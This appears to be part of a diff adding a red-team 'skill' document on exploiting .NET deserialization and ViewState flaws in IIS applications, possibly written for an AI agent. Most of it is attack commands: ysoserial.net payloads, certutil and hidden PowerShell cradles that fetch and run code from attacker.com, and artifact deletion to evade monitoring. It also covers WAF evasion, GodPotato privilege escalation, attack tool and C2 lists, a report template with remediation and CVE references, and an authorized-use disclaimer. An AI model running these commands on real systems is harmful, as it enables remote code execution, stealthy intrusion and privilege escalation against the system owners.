# 1. Always test OOB (DNS/HTTP) BEFORE executing commands
|
|
779
|
+
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
|
|
780
|
+
-c "cmd /c nslookup RANDOMID.burpcollaborator.net"
|
|
781
|
+
# Never run blind RCE first
|
|
782
|
+
|
|
783
|
+
# 2. Use certutil for file download (LOLBin, less suspicious)
|
|
784
|
+
certutil -urlcache -split -f http://attacker.com/shell.exe %TEMP%\update.exe
|
|
785
|
+
|
|
786
|
+
# 3. Prefer PowerShell download cradles over cmd.exe
|
|
787
|
+
powershell -nop -w hidden -c "IEX(IWR 'http://attacker.com/s.ps1' -UseBasicParsing)"
|
|
788
|
+
|
|
789
|
+
# 4. Target %TEMP% or user profile for file drops, not C:\Windows\
|
|
790
|
+
# IIS AppPool typically writes to: C:\Windows\Temp, C:\inetpub\wwwroot
|
|
791
|
+
|
|
792
|
+
# 5. Clean artifacts
|
|
793
|
+
del %TEMP%\*.exe
|
|
794
|
+
# Or instruct payload to self-delete after execution
|
|
795
|
+
|
|
796
|
+
# 6. Avoid writing to web root if possible (triggers file monitoring)
|
|
797
|
+
# If needed for verification: use unique filename, delete immediately
|
|
798
|
+
|
|
799
|
+
# 7. Route exploits through Burp proxy for full logging
|
|
800
|
+
.\ysoserial.exe ... | burp_submit.py --proxy http://127.0.0.1:8080
|
|
801
|
+
|
|
802
|
+
# 8. Check if application has WAF (ModSecurity, CloudFlare, Imperva)
|
|
803
|
+
curl -H "X-Scanner: test" https://target.com/ # observe WAF headers
|
|
804
|
+
# If WAF present: use chunked transfer encoding, parameter pollution
|
|
805
|
+
|
|
806
|
+
# 9. For ViewState — submit during legitimate session flow
|
|
807
|
+
# Login first, capture session cookies, then inject payload as authenticated user
|
|
808
|
+
```
|
|
809
|
+
|
|
810
|
+
### IIS AppPool Privilege Context
|
|
811
|
+
|
|
812
|
+
```bash
|
|
813
|
+
# After RCE, determine identity immediately:
|
|
814
|
+
whoami
|
|
815
|
+
# Common: IIS APPPOOL\AppPoolName (limited privileges)
|
|
816
|
+
# Less common: NETWORK SERVICE, LOCAL SERVICE
|
|
817
|
+
# Rare (misconfiguration): NT AUTHORITY\SYSTEM
|
|
818
|
+
|
|
819
|
+
# Check SeImpersonatePrivilege — enables Potato attacks
|
|
820
|
+
whoami /priv
|
|
821
|
+
# If SeImpersonatePrivilege: Enabled → run PrintSpoofer / GodPotato for SYSTEM
|
|
822
|
+
|
|
823
|
+
# GodPotato for privilege escalation
|
|
824
|
+
.\GodPotato.exe -cmd "cmd /c whoami"
|
|
825
|
+
```
|
|
826
|
+
|
|
827
|
+
---
|
|
828
|
+
|
|
829
|
+
## 10. Output and Documentation
|
|
830
|
+
|
|
831
|
+
### Required Evidence for Report
|
|
832
|
+
|
|
833
|
+
For each successful deserialization exploit, document:
|
|
834
|
+
|
|
835
|
+
1. **Vulnerable endpoint:** Full URL, HTTP method, parameter name
|
|
836
|
+
2. **Serialization format:** BinaryFormatter / Json.Net / ViewState / etc.
|
|
837
|
+
3. **Gadget chain used:** TypeConfuseDelegate / ObjectDataProvider / etc.
|
|
838
|
+
4. **Proof of RCE:** Screenshot of command output, DNS callback log
|
|
839
|
+
5. **MachineKey source:** Where the key was obtained (leaked config, GitHub, default)
|
|
840
|
+
6. **Impact:** AppPool identity, accessible resources, escalation path
|
|
841
|
+
7. **CVSS score calculation**
|
|
842
|
+
|
|
843
|
+
### Artifact Collection Commands
|
|
844
|
+
|
|
845
|
+
```bash
|
|
846
|
+
# Capture HTTP request/response (already in Burp, but also save raw)
|
|
847
|
+
# From Burp: Right-click > Save Item
|
|
848
|
+
|
|
849
|
+
# Save ysoserial.net command for reproducibility
|
|
850
|
+
echo ".\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 -c 'whoami' --validationkey='AABB...' --generator='CA0B0334'" > exploit_cmd.txt
|
|
851
|
+
|
|
852
|
+
# Document IIS version and .NET version
|
|
853
|
+
curl -I https://target.com/ 2>&1 | grep -i "server\|x-asp\|x-powered"
|
|
854
|
+
|
|
855
|
+
# Save error page if debug mode enabled
|
|
856
|
+
curl -s https://target.com/nonexistent > debug_error.html
|
|
857
|
+
|
|
858
|
+
# Log all exploit attempts with timestamps
|
|
859
|
+
tee -a exploit_log.txt <<EOF
|
|
860
|
+
[$(date)] ViewState RCE
|
|
861
|
+
Target: https://target.com/default.aspx
|
|
862
|
+
Gadget: TextFormattingRunProperties
|
|
863
|
+
Key Source: GitHub leaked web.config
|
|
864
|
+
Callback: callback.burpcollaborator.net DNS at $(date)
|
|
865
|
+
Identity: IIS APPPOOL\DefaultAppPool
|
|
866
|
+
Privileges: SeImpersonatePrivilege Enabled
|
|
867
|
+
EOF
|
|
868
|
+
```
|
|
869
|
+
|
|
870
|
+
### Report Findings Template
|
|
871
|
+
|
|
872
|
+
```markdown
|
|
873
|
+
## Finding: .NET ViewState Deserialization RCE
|
|
874
|
+
|
|
875
|
+
**Severity:** Critical (CVSS 9.8)
|
|
876
|
+
**CWE:** CWE-502: Deserialization of Untrusted Data
|
|
877
|
+
|
|
878
|
+
**Evidence:**
|
|
879
|
+
- Leaked web.config on GitHub: [URL]
|
|
880
|
+
- MachineKey: AABB... (validationKey)
|
|
881
|
+
- ViewState generator: CA0B0334
|
|
882
|
+
- Command executed: `whoami` → output: `iis apppool\portal`
|
|
883
|
+
- DNS callback confirmed at: [timestamp]
|
|
884
|
+
|
|
885
|
+
**Remediation:**
|
|
886
|
+
1. Rotate MachineKey immediately
|
|
887
|
+
2. Enable ViewState encryption and MAC validation
|
|
888
|
+
3. Remove config from Git history with git-filter-repo
|
|
889
|
+
4. Upgrade to .NET 6+ (no ViewState)
|
|
890
|
+
5. Implement WAF rules for ViewState anomalies
|
|
891
|
+
```
|
|
892
|
+
|
|
893
|
+
---
|
|
894
|
+
|
|
895
|
+
## 11. Resources and References
|
|
896
|
+
|
|
897
|
+
### Primary Tools
|
|
898
|
+
|
|
899
|
+
| Tool | URL | Description |
|
|
900
|
+
|---|---|---|
|
|
901
|
+
| ysoserial.net | https://github.com/pwntester/ysoserial.net | .NET deserialization payload generator |
|
|
902
|
+
| viewgen | https://github.com/0xacb/viewgen | ViewState exploitation toolkit |
|
|
903
|
+
| IIS ShortName Scanner | https://github.com/irsdl/IIS-ShortName-Scanner | IIS 8.3 filename enumeration |
|
|
904
|
+
| Blacklist3r | https://github.com/NotSoSecure/Blacklist3r | Default MachineKey database lookup |
|
|
905
|
+
| dotnet-deserialization-detector | https://github.com/portswigger/burp-extensions-montoya-api | Burp extension for detection |
|
|
906
|
+
| GodPotato | https://github.com/BeichenDream/GodPotato | IIS AppPool privilege escalation |
|
|
907
|
+
| PrintSpoofer | https://github.com/itm4n/PrintSpoofer | SeImpersonatePrivilege escalation |
|
|
908
|
+
| Covenant | https://github.com/cobbr/Covenant | .NET C2 framework |
|
|
909
|
+
| SharpCollection | https://github.com/Flangvik/SharpCollection | Pre-compiled .NET attack tools |
|
|
910
|
+
|
|
911
|
+
### Research and References
|
|
912
|
+
|
|
913
|
+
| Resource | URL |
|
|
914
|
+
|---|---|
|
|
915
|
+
| ysoserial.net wiki — all formatters | https://github.com/pwntester/ysoserial.net/wiki |
|
|
916
|
+
| ExploitDotNet gadget research | https://github.com/pwntester/ysoserial.net/blob/master/README.md |
|
|
917
|
+
| ViewState MAC bypass research | https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/DotNet/ |
|
|
918
|
+
| .NET Deserialization Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html |
|
|
919
|
+
| IIS Short Filename Vulnerability | https://soroush.secproject.com/blog/2014/04/iis-short-file-name-disclosure-is-back/ |
|
|
920
|
+
| JSON.NET TypeNameHandling risk | https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html |
|
|
921
|
+
| HTTP.sys CVE list | https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-105/ |
|
|
922
|
+
| BlackHat .NET deserialization | https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf |
|
|
923
|
+
| WCF attack surface | https://docs.microsoft.com/en-us/dotnet/framework/wcf/feature-details/security-considerations-in-wcf |
|
|
924
|
+
| PayloadsAllTheThings .NET | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization |
|
|
925
|
+
| HackTricks .NET deserialization | https://book.hacktricks.wiki/en/pentesting-web/deserialization/net-deserialization.html |
|
|
926
|
+
| Alvaro Munoz original research | https://speakerdeck.com/pwntester/attacking-net-serialization |
|
|
927
|
+
| Exploiting VIEWSTATE | https://notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net |
|
|
928
|
+
| IIS Tilde Enumeration | https://github.com/irsdl/IIS-ShortName-Scanner/wiki |
|
|
929
|
+
| .NET Gadget Chains Deep Dive | https://www.nccgroup.com/uk/research-blog/technical-advisory-net-deserialization-gadget-chains/ |
|
|
930
|
+
|
|
931
|
+
### CVE References
|
|
932
|
+
|
|
933
|
+
| CVE | Description | Affected |
|
|
934
|
+
|---|---|---|
|
|
935
|
+
| CVE-2014-6321 | ViewState HMAC bypass | ASP.NET 1.x-4.x |
|
|
936
|
+
| CVE-2021-31166 | HTTP.sys RCE | Windows Server IIS 10 |
|
|
937
|
+
| CVE-2015-1635 | HTTP.sys range header RCE | IIS 7.5-8.5 |
|
|
938
|
+
| CVE-2017-9248 | Telerik UI deserialization | Telerik.Web.UI |
|
|
939
|
+
| CVE-2019-18935 | Telerik UI RadAsyncUpload RCE | Telerik.Web.UI |
|
|
940
|
+
| CVE-2020-0688 | Exchange ViewState RCE | Exchange Server |
|
|
941
|
+
| CVE-2022-30190 | MSDT Follina (IIS pivot) | Windows MSDT |
|
|
942
|
+
|
|
943
|
+
---
|
|
944
|
+
|
|
945
|
+
*This skill is for authorized Red Team engagements only. Always operate within defined Rules of Engagement.*
|